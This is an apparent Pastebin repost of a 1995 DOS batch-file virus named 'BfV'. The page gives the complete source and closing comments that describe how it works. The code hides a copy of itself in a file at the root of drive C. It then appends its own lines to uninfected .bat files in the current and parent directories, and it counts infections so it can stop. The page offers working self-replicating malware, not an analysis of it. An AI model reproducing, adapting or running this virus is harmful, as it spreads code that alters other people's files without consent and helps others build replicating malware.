Advertisement
FlyFar

Batch virus "BfV" - Wavefunc - Second Issue | Sept. 2 1995

Mar 12th, 2023
819
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 1.13 KB | Cybersecurity | 0 0
  1. @echo off%[BfV_B]%
  2. if '%1=='## goto BfV_%2
  3. if exist C:\_BfV.bat goto BfV_
  4. if not exist %0.bat goto BfV_end
  5. find "BfV"<%0.bat>C:\_BfV.bat
  6. attrib C:\_BfV.bat +h
  7. :BfV_
  8. command /e:5000 /c C:\_BfV ## run
  9. goto BfV_end
  10. :BfV_run
  11. for %%i in (*.bat ..\*.bat) do call C:\_BfV ## inf %%i
  12. exit BfV
  13. :BfV_inf
  14. if '%BfV%=='1111111 exit
  15. set BfV=%BfV%1
  16. find "BfV"<%3>nul
  17. if not errorlevel 1 goto BfV_end
  18. type %3>BfV
  19. type C:\_BfV.bat>>BfV
  20. move BfV %3>nul
  21. exit BfV
  22. :BfV_end
  23. REM Creates the hidden file "_BFV" in the root directory of drive C
  24. REM Infects one batch per run in current and parent directories
  25. REM Gives up after encountering seven infected batches
  26. REM Virus code is appended to the host batch
  27. REM -----------------------------------------------------------------------
  28. REM This is an improved appender. It only has to be run from its own directory
  29. REM once to enable it to reproduce even when the host is in a path directory.
  30. REM To avoid slowing batch files down too much it exits if it can't infect
  31. REM after checking seven batch files. If the host batch ends with nul characters
  32. REM it removes them so the virus code will run.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement